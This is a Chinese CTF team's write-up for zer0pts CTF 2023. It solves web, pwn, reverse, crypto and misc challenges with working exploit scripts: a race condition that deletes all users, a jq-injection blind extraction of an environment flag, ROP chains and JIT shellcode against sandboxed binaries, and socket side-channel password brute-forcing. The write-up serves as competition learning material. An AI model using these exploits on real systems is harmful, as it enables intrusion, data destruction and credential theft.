2023 Zer0ptsCTF SU Writeup -

2023 Zer0ptsCTF SU Writeup

本次2023 Zer0ptsCTF 是我们SU第一次正式组织参加国际赛,获得全球榜第二十七名,大陆第三名,我们会继续努力,感谢队里师傅们的辛苦付出!同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com或直接联系书鱼(QQ:381382770) 以下是我们 SU 本次 Zer0ptsCTF writeup

web

Warmuprofile

POST /user/:username/delete 路由存在条件竞争

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});

假设有两个请求,第一个请求正常执行,但其中await User.findOne会有一定的操作延迟 在这个时间内,第二个请求跟进来,sesssion.username 跟 req.param.username 还是一样的,执行到await User.findOne的时候,用户已经被删除了,User.findOne 会返回为 null ,然后 执行 await User.destroy 操作会把所有用户都删了 知晓原理后用BurpSuite扩展 Turbo Intruder 进行条件竞争,删除所有用户 再利用 POST /register 路由创建admin用户,就可以获得flag

参考链接: https://www.nodejsdesignpatterns.com/blog/node-js-race-conditions/ https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html

jqi

jq_wiki: https://github.com/jqlang/jq/wiki nodejs调用jq二进制文件解析json,命令注入或者jq的表达式可以利用? jq官方手册: https://jqlang.github.io/jq/manual/#Formatstringsandescaping $ENV可以表示环境变量,有字符串插值\(exp)但是\(被过滤了

官方文档还提供base64之类的东西,也许有用吧【 不用管了 利用 \ 逃逸,然后通过data.json中各个字段凑齐base64的标准码表,利用if来盲注环境变量里面的flag即可。 由于双引号被过滤了,单引号又不能表示字符,因此在data.json中把base64中包含的字符串集齐

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def getstr1():
    s = "zer0pts{me$s4g3_p4$$1ng_thru|p1pez_4r3_gr347!83157e16e25aa73f8a1fa1af06ac897a0f47d5be53ebb601953a43b6b3b4ca49}"
    # 找不到: i
    # 找不到: j
    # 找不到: k
    # 找不到: l
    # 找不到: o
    # 找不到: q
    # 找不到: v
    # 找不到: w
    # 找不到: x
    # 找不到: y
    for i in string.ascii_lowercase:
        try:
            index = s.index(i)
            if s[index].isupper():
                print(f'"{i.upper()}": "(.[3].flag[{index}:{index+1}])",')
                print(f'"{i}": "(.[3].flag[{index}:{index+1}]|ascii_downcase)",')
            else:
                print(f'"{i}": "(.[3].flag[{index}:{index+1}])",')
                print(f'"{i.upper()}": "(.[3].flag[{index}:{index+1}]|ascii_upcase)",')
        except:
            pass
            # print("找不到: " + i)
def getstr2():
    s = "zer0pts{1.Use_@trusted_escapes/2.Use_boundscheck=safeonly/3.Trust_GC}"
    for i in "ijkloqvwxy/=":
        try:
            index = s.index(i)
            if s[index].isupper():
                print(f'"{i.upper()}": "(.[4].flag[{index}:{index+1}])",')
                print(f'"{i}": "(.[4].flag[{index}:{index+1}]|ascii_downcase)",')
            else:
                print(f'"{i}": "(.[4].flag[{index}:{index+1}])",')
                print(f'"{i.upper()}": "(.[4].flag[{index}:{index+1}]|ascii_upcase)",')
        except:
            pass
            # print("找不到: " + i)
            # 找不到: q
            # 找不到: v
            # 找不到: w
            # 找不到: x
            # 找不到: i
            # 找不到: j
def getstr3():
    s = "zer0pts{foo/bar/../../../../../directory/traversal}"
    for i in "qvwxij":
        try:
            index = s.index(i)
            if s[index].isupper():
                print(f'"{i.upper()}": "(.[0].flag[{index}:{index+1}])",')
                print(f'"{i}": "(.[0].flag[{index}:{index+1}]|ascii_downcase)",')
            else:
                print(f'"{i}": "(.[0].flag[{index}:{index+1}])",')
                print(f'"{i.upper()}": "(.[0].flag[{index}:{index+1}]|ascii_upcase)",')
        except:
            pass
            # print("找不到: " + i)
            # 找不到 q、j
def getstr4():
    for i in range(0,10):
        print(f'"{i}":"({i}|tostring)",')

最终得出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
list1 = {
"a": "(.[3].flag[56:57])",
"A": "(.[3].flag[56:57]|ascii_upcase)",
"b": "(.[3].flag[83:84])",
"B": "(.[3].flag[83:84]|ascii_upcase)",
"c": "(.[3].flag[72:73])",
"C": "(.[3].flag[72:73]|ascii_upcase)",
"d": "(.[3].flag[81:82])",
"D": "(.[3].flag[81:82]|ascii_upcase)",
"e": "(.[3].flag[1:2])",
"E": "(.[3].flag[1:2]|ascii_upcase)",
"f": "(.[3].flag[60:61])",
"F": "(.[3].flag[60:61]|ascii_upcase)",
"g": "(.[3].flag[13:14])",
"G": "(.[3].flag[13:14]|ascii_upcase)",
"h": "(.[3].flag[25:26])",
"H": "(.[3].flag[25:26]|ascii_upcase)",
"m": "(.[3].flag[8:9])",
"M": "(.[3].flag[8:9]|ascii_upcase)",
"n": "(.[3].flag[21:22])",
"N": "(.[3].flag[21:22]|ascii_upcase)",
"p": "(.[3].flag[4:5])",
"P": "(.[3].flag[4:5]|ascii_upcase)",
"r": "(.[3].flag[2:3])",
"R": "(.[3].flag[2:3]|ascii_upcase)",
"s": "(.[3].flag[6:7])",
"S": "(.[3].flag[6:7]|ascii_upcase)",
"t": "(.[3].flag[5:6])",
"T": "(.[3].flag[5:6]|ascii_upcase)",
"u": "(.[3].flag[27:28])",
"U": "(.[3].flag[27:28]|ascii_upcase)",
"z": "(.[3].flag[0:1])",
"Z": "(.[3].flag[0:1]|ascii_upcase)",
"k": "(.[4].flag[47:48])",
"K": "(.[4].flag[47:48]|ascii_upcase)",
"l": "(.[4].flag[55:56])",
"L": "(.[4].flag[55:56]|ascii_upcase)",
"o": "(.[4].flag[38:39])",
"O": "(.[4].flag[38:39]|ascii_upcase)",
"y": "(.[4].flag[56:57])",
"Y": "(.[4].flag[56:57]|ascii_upcase)",
"/": "(.[4].flag[30:31])",
"=": "(.[4].flag[48:49])",
"v": "(.[0].flag[44:45])",
"V": "(.[0].flag[44:45]|ascii_upcase)",
"i": "(.[0].flag[32:33])",
"I": "(.[0].flag[32:33]|ascii_upcase)",
"x": "(.[0].name[9:10])", #手动的
"X": "(.[0].name[9:10]|ascii_upcase)",
"w": "(.[0].tags[0][0:1])", #手动的
"W": "(.[0].tags[0][0:1]|ascii_upcase)",
"j": "((8881123345666755|@base64)[17:18])", #手动的
"J": "((8881123345666755|@base64)[17:18]|ascii_upcase)",
"q": "((1|@base64)[1:2]|ascii_downcase)", #手动的
"Q": "((1|@base64)[1:2])",
"0":"(0|tostring)",
"1":"(1|tostring)",
"2":"(2|tostring)",
"3":"(3|tostring)",
"4":"(4|tostring)",
"5":"(5|tostring)",
"6":"(6|tostring)",
"7":"(7|tostring)",
"8":"(8|tostring)",
"9":"(9|tostring)",
}

然后利用halt_error来导致不一样的回显,配合if语句进行盲注即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import string
import requests

list1 = {
"a": "(.[3].flag[56:57])",
"A": "(.[3].flag[56:57]|ascii_upcase)",
"b": "(.[3].flag[83:84])",
"B": "(.[3].flag[83:84]|ascii_upcase)",
"c": "(.[3].flag[72:73])",
"C": "(.[3].flag[72:73]|ascii_upcase)",
"d": "(.[3].flag[81:82])",
"D": "(.[3].flag[81:82]|ascii_upcase)",
"e": "(.[3].flag[1:2])",
"E": "(.[3].flag[1:2]|ascii_upcase)",
"f": "(.[3].flag[60:61])",
"F": "(.[3].flag[60:61]|ascii_upcase)",
"g": "(.[3].flag[13:14])",
"G": "(.[3].flag[13:14]|ascii_upcase)",
"h": "(.[3].flag[25:26])",
"H": "(.[3].flag[25:26]|ascii_upcase)",
"m": "(.[3].flag[8:9])",
"M": "(.[3].flag[8:9]|ascii_upcase)",
"n": "(.[3].flag[21:22])",
"N": "(.[3].flag[21:22]|ascii_upcase)",
"p": "(.[3].flag[4:5])",
"P": "(.[3].flag[4:5]|ascii_upcase)",
"r": "(.[3].flag[2:3])",
"R": "(.[3].flag[2:3]|ascii_upcase)",
"s": "(.[3].flag[6:7])",
"S": "(.[3].flag[6:7]|ascii_upcase)",
"t": "(.[3].flag[5:6])",
"T": "(.[3].flag[5:6]|ascii_upcase)",
"u": "(.[3].flag[27:28])",
"U": "(.[3].flag[27:28]|ascii_upcase)",
"z": "(.[3].flag[0:1])",
"Z": "(.[3].flag[0:1]|ascii_upcase)",
"k": "(.[4].flag[47:48])",
"K": "(.[4].flag[47:48]|ascii_upcase)",
"l": "(.[4].flag[55:56])",
"L": "(.[4].flag[55:56]|ascii_upcase)",
"o": "(.[4].flag[38:39])",
"O": "(.[4].flag[38:39]|ascii_upcase)",
"y": "(.[4].flag[56:57])",
"Y": "(.[4].flag[56:57]|ascii_upcase)",
"/": "(.[4].flag[30:31])",
"=": "(.[4].flag[48:49])",
"v": "(.[0].flag[44:45])",
"V": "(.[0].flag[44:45]|ascii_upcase)",
"i": "(.[0].flag[32:33])",
"I": "(.[0].flag[32:33]|ascii_upcase)",
"x": "(.[0].name[9:10])", #手动的
"X": "(.[0].name[9:10]|ascii_upcase)",
"w": "(.[0].tags[0][0:1])", #手动的
"W": "(.[0].tags[0][0:1]|ascii_upcase)",
"j": "((8881123345666755|@base64)[17:18])", #手动的
"J": "((8881123345666755|@base64)[17:18]|ascii_upcase)",
"q": "((1|@base64)[1:2]|ascii_downcase)", #手动的
"Q": "((1|@base64)[1:2])",
"0":"(0|tostring)",
"1":"(1|tostring)",
"2":"(2|tostring)",
"3":"(3|tostring)",
"4":"(4|tostring)",
"5":"(5|tostring)",
"6":"(6|tostring)",
"7":"(7|tostring)",
"8":"(8|tostring)",
"9":"(9|tostring)",
}


def test(a,index,c):
    url = f"http://jqi.2023.zer0pts.com:8300/api/search?keys=flag&conds=1\%20in%20flag,)|1)]|(  if (({a}|@base64)[{index}:{index+1}] == {list1[c]}) then halt_error else 1 end )%23|%20in%20flag"
    fh = requests.get(url).text
    if not "sorry, you cannot use filters in demo version" in fh:
        return True
    return False

flagb64 = ""

for j in range(50):
    print(j)
    for i in string.ascii_letters + "1234567890=/":
        if test("env.FLAG",j,i):
            flagb64 += i
            print(flagb64)
            break

Pwn

qjail

看qiling源码 在loader/elf.py里是他的elf加载逻辑 ​image

根据经验AT_RANDOM的值指向canary

image

往上翻可以看见randstraddr的来源 能够猜+试出来canary是7个a和一个00 elf加载地址在qiling的profile里的linux profile

1
2
3
4
5
6
7
[OS64]
stack_address = 0x7ffffffde000
stack_size = 0x30000
load_address = 0x555555554000
interp_address = 0x7ffff7dd5000
mmap_address = 0x7fffb7dd6000
vsyscall_address = 0xffffffffff600000
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.arch = 'amd64'
pie = 0x555555554000

sh = process(['./sandbox.py','bin/vuln'])

elf = ELF('bin/vuln',checksec=False)
elf.address = pie
pop_rdi = 0x00000000000012a3 + pie
main = pie + 0x11a9

payload = flat({
    0x109:b'a' * 7,
    0x118:[
        # pop_rdi,
        # 0x33,
        # pie+0x10c0,
        # elf.plt['puts'],
        0xdeadbeef
    ]
},filler=b'\x00')
# payload = b'\x00' * 0x100

sh.sendlineafter(b'something\n',payload)

sh.interactive()

但是目前发现pop rdi会报unicorn的READ error 不太确定libc是不是固定的,还没从源码中看到这部分 重回main好像也不太得劲 qiling启动的是ld,所以之前看到的pie地址其实是ld的,elf在profile里的mmap地址范围 这个结论是通过qiling的gdb server调试观察到的,https://docs.qiling.io/en/latest/debugger/ 然后就是直接看出其他段的地址,应该都是不变的 重新算地址,pop rdi,重回main都没问题了 system会有点问题,所以最后orw读flag.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.arch = 'amd64'
pie = 0x7fffb7dd6000
libc_base = 0x7fffb7ddb000

# sh = process(['./sandbox.py','bin/vuln'])
sh = remote('pwn.2023.zer0pts.com','9005')

elf = ELF('bin/vuln',checksec=False)
elf.address = pie
pop_rdi = 0x00000000000012a3 + pie
main = pie + 0x11a9
libc = ELF('lib/libc.so.6',checksec=False)
libc.address = libc_base

pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92

str_addr = elf.bss(0x100)
# 0x000000000010257e: pop rcx; pop rbx; ret; 
pop_rcx_rbx = libc_base + 0x000000000010257e
# 0x000000000005b622: mov rdi, rax; cmp rdx, rcx; jae 0x5b60c; mov rax, r8; ret; 
mov_rdi_rax = libc_base + 0x000000000005b622

buff = elf.bss(0x180)

payload = flat({
    0x109:b'a' * 7,
    0x118:[
        pop_rdi,
        0,
        pop_rsi,
        str_addr,
        pop_rdx,
        0x30,
        libc.sym['read'],

        pop_rdi,
        str_addr,
        pop_rsi,
        0,
        libc.sym['open'],

        pop_rcx_rbx,
        0x81,
        0,
        pop_rdx,
        0x80,
        pop_rsi,
        buff,
        mov_rdi_rax,
        libc.sym['read'],

        pop_rdi,
        1,
        pop_rsi,
        buff,
        pop_rdx,
        0x80,
        libc.sym['write'],

        pop_rdi,
        0,
        libc.sym['exit']
    ]
},filler=b'\x00')

# pause()

sh.sendlineafter(b'something\n',payload)

pause()

sh.send(b'./flag.txt')

sh.interactive()

Brainjit

Brainfxxk jit编译器 有个功能是为多个连续的操作独立生成汇编,length标识重复长度 image 但是这个32位的length如果最高byte是有符号似乎就会有点问题 不知道是不是漏洞 image 但是经过调试后面这种方法py里check了write写入不能超过0x8000,emmm 貌似只有 ’ [ ’ 没有 ’ ] ‘的时候会出现点问题,可以跳到jz指令的0xff上,跟后面的指令偏一下,但我找了半天没有找到可以合理的偏出想要的指令的 就是上面这种方法做的 但是偏起来挺jb的。。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import * 

context.arch = 'amd64'
# sh = process(['./app.py'])

idx = 0
def write(adjust,v,old=0):
    d = '>'
    if adjust < 0:
        d = '<'
    adjust = abs(adjust)
    payload = d * adjust
    if old != None and old > v:
        payload += '-' * (old-v)
    else:
        payload += '+' * (v-old)
    return payload
# sc = asm(shellcraft.sh())

# for i in sc:
#     print("code += '" + write(1,i) + "'")

code = '[+' + '>' * 0x5558
# pop rax
# push rbp

# shellcode
code += '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+'
code += '>+'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++'
code += '>+'
code += '>+'
code += '>+'
code += '>+'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++'
code += '>+++++'

code += '>[+' + '>' * 0xc3
# ret

sh = remote('pwn.2023.zer0pts.com','9004')

sh.sendline(code)

sh.interactive()
# zer0pts{Bug_0fT3n_c0M3s_fR0m_L4ck_0f_t3sT_f0r_1nv4L1d_1npuTs}

Re

decompile me

hook了比较函数,把数据替换了,rc4解一下即可 image

mimikyu

程序的核心是用到了libc.so.6、libgmp.so两个so库中的导出函数,寻找指定函数是用到了ResolveModuleFunction函数,其中是采用hash校验的方式获取指定函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
__int64 ResolveModuleFunction(void *a1, int a2, ...)
{
  __int64 v2; // rax
  __int64 *overflow_arg_area; // rax
  int v5; // [rsp+18h] [rbp-158h]
  int j; // [rsp+1Ch] [rbp-154h]
  int k; // [rsp+20h] [rbp-150h]
  int v8; // [rsp+24h] [rbp-14Ch]
  __int64 v9; // [rsp+28h] [rbp-148h] BYREF
  __int64 v10; // [rsp+30h] [rbp-140h]
  __int64 v11; // [rsp+38h] [rbp-138h]
  __int64 v12; // [rsp+40h] [rbp-130h]
  __int64 *i; // [rsp+48h] [rbp-128h]
  unsigned int *v14; // [rsp+50h] [rbp-120h]
  char *name; // [rsp+58h] [rbp-118h]
  __int64 (__fastcall *v16)(__int64, __int64, __int64, __int64, __int64, __int64); // [rsp+60h] [rbp-110h]
  gcc_va_list va; // [rsp+68h] [rbp-108h] BYREF
  __int64 v18[8]; // [rsp+80h] [rbp-F0h]

  va_start(va, a2);
  v18[7] = __readfsqword(0x28u);
  v9 = 0LL;
  v12 = 0LL;
  if ( !(unsigned int)GetModuleInformation(a1, &v9) )
    __assert_fail("GetModuleInformation(hModule, &lpmodinfo)", "obfuscate.h", 0x71u, "ResolveModuleFunction");
  for ( i = *(__int64 **)(v9 + 16); *i; i += 2 )
  {
    v2 = *i;
    if ( *i == 11 )
    {
      v5 = i[1];
    }
    else if ( v2 <= 11 )
    {
      if ( v2 == 5 )
      {
        v11 = i[1];
      }
      else if ( v2 == 6 )
      {
        v10 = i[1];
      }
    }
  }
  dlerror();
  v8 = v11 - v10;
  for ( j = 0; j < v8 / v5; ++j )
  {
    v14 = (unsigned int *)(24LL * j + v10);
    if ( (v14[1] & 0xF) == 2 )
    {
      name = (char *)(*v14 + v11);
      if ( a2 == (unsigned int)CryptGetHashParam(name) )
      {
        v16 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64, __int64))dlsym(a1, name);
        if ( dlerror() )
          BUG();
        for ( k = 0; k <= 5; ++k )
        {
          if ( va[0].gp_offset > 0x2F )
          {
            overflow_arg_area = (__int64 *)va[0].overflow_arg_area;
            va[0].overflow_arg_area = (char *)va[0].overflow_arg_area + 8;
          }
          else
          {
            overflow_arg_area = (__int64 *)((char *)va[0].reg_save_area + va[0].gp_offset);
            va[0].gp_offset += 8;
          }
          v18[k] = *overflow_arg_area;
        }
        return v16(v18[0], v18[1], v18[2], v18[3], v18[4], v18[5]);
      }
    }
  }
  return v12;
}

首先是定义三个大数空间与初始化随机数种子

image-20230715175448547

接着判断是输入字符是否是可打印字符

image-20230715175543105

然后是获取随机数,并以此使用__gmpz的计算函数计算出两个结果v14,v13,最后将输入以4字节为一组与得到的两个结果进行pow运算,最后与指定密文对比。

因为是指定的确切的随机数种子,所以这个随机数每次都是确定的,另外程序中计算v14、v13的过程稍显复杂,直接调试得到10组v14与v13

image-20230715180244008

image-20230715180226860

得到密文与10组v14与v13后便考虑开始解密了,其实程序用到的就是10组rsa加密,但这个n都不能直接分解为2个质数,

image-20230715180106052

因此考虑爆破。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

enc = [0x00000FE4C025C5F4, 0x00001B792FF17E8A, 0x00000183B156AB40, 0x00000BEFFCF5E5DA, 0x00000297CF86E251, 0x00000EB3EDC1D4B4, 0x000000FA10CE3A08, 0x0000002BDD418672, 0x00005EBB5050EA46, 0x000005BF9B73CF86]
v14 = [61651, 2143, 36451, 33353, 50849, 3181, 44789, 54751, 59021, 62459]
v13 = [38830568246783, 55875622227251, 3875886538523, 18342125763727, 10828735575677, 32860319419313, 17866096656883, 1211339173321, 105059744341817, 76627821322477]

for z in range(10):
    for i in range(0x20, 0x7f):
        for j in range(0x20, 0x7f):
            for k in range(0x20, 0x7f):
                for l in range(0x20, 0x7f):
                    m = int.from_bytes([i, j, k, l], "little")
                    if(pow(m, v14[z], v13[z]) == enc[z]):
                        print(bytes([i, j, k, l]))
                    

但是这样很慢,但可以将其拆成10组分别爆破,相当于手动实现了多进程爆破。

比如爆破第二组:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

enc = [0x00000FE4C025C5F4, 0x00001B792FF17E8A, 0x00000183B156AB40, 0x00000BEFFCF5E5DA, 0x00000297CF86E251, 0x00000EB3EDC1D4B4, 0x000000FA10CE3A08, 0x0000002BDD418672, 0x00005EBB5050EA46, 0x000005BF9B73CF86]

for i in range(0x20, 0x7f):
    for j in range(0x20, 0x7f):
        for k in range(0x20, 0x7f):
            for l in range(0x20, 0x7f):
                m = int.from_bytes([i, j, k, l], "little")
                if(pow(m, 2143, 55875622227251) == 0x00001B792FF17E8A):
                    print("2: ", bytes([i, j, k, l]))

结果:

image-20230715180812903

最后所有结果拼接起来

zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}

Cry

easy_factoring

关系是N = pow(p, 2) + pow(q, 2),类似CCTF2022的SOT。 image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from pwn import *
def sot(s):
    ps = factor(s)
    n,n0 = [(1,1)], []
    for i in range(1, len(ps)):
        for k in range(ps[i][1]):
            for j in n:
                a, b = j
                c, d = two_squares(ps[i][0])
                if (a * c + b * d, a * d - b * c) not in n0:
                    n0.append((a * c + b * d, a * d - b * c))
                d, c = two_squares(ps[i][0])
                if (a * c + b * d, a * d - b * c) not in n0:
                    n0.append((a * c + b * d, a * d - b * c))
            n,n0=n0,[]
    for p,q in n:
        if isPrime(p) and isPrime(q):
            return p ,q

io = remote('crypto.2023.zer0pts.com',10333)
io.recvuntil(b'N:')
N = int(io.recvline()[:-1])
p,q = sot(N)
print(p,q)
io.sendlineafter(b'p: ',str(p).encode())
io.sendlineafter(b'q: ',str(q).encode())
io.interactive()

Misc

NetFS 1

guest/guest账户可看/home/ctf/public/welcome.txt但 File: /home/ctf/secret/flag.txt Permission denied. 用侧信道脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import socket

for i in "1234567890abcdef\n":

    s = socket.socket()
    print("connecting")
    s.connect(('misc.2023.zer0pts.com',10021))
    print("connected")
    s.recv(1024)
    s.send(b"admin\n")
    s.recv(1024)
    s.send(b'dd79efc4093c9326')
    s.send(i.encode())
    print(i)
    s.recv(1024).decode()

NetFS2

增加了延时,不能手动挡了,也是侧信道

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket

def test(passwd):
    for i in "1234567890abcdef\n":
        s = socket.socket()
        s.connect(('misc2.2023.zer0pts.com', 10022))
        # s.connect(('docker', 6666))
        s.recv(1024)
        s.send(b"admin\n")
        s.recv(1024)
        if passwd != "":
            s.send(passwd.encode())
        s.send(i.encode())
        s.send(b'x')
        s.recv(1024).decode()
        try:
            s.recv(1024).decode()
            passwd += i
            print(passwd)
            return passwd
        except:
            s.close()
            pass

def readflag(passwd):
    s = socket.socket()
    s.connect(('misc2.2023.zer0pts.com', 10022))
    print(s.recv(1024))
    s.send(b"admin\n")
    print(s.recv(1024))
    s.send(passwd.encode() + b"\n")
    print(s.recv(1024))
    print(s.recv(1024))
    s.send(b"/home/ctf/secret/flag.txt\n")
    print(s.recv(1024))

# passwd = ""
# for i in range(32):
#     passwd = test(passwd)


readflag("02872f5ae0819d2f") #读取flag

See also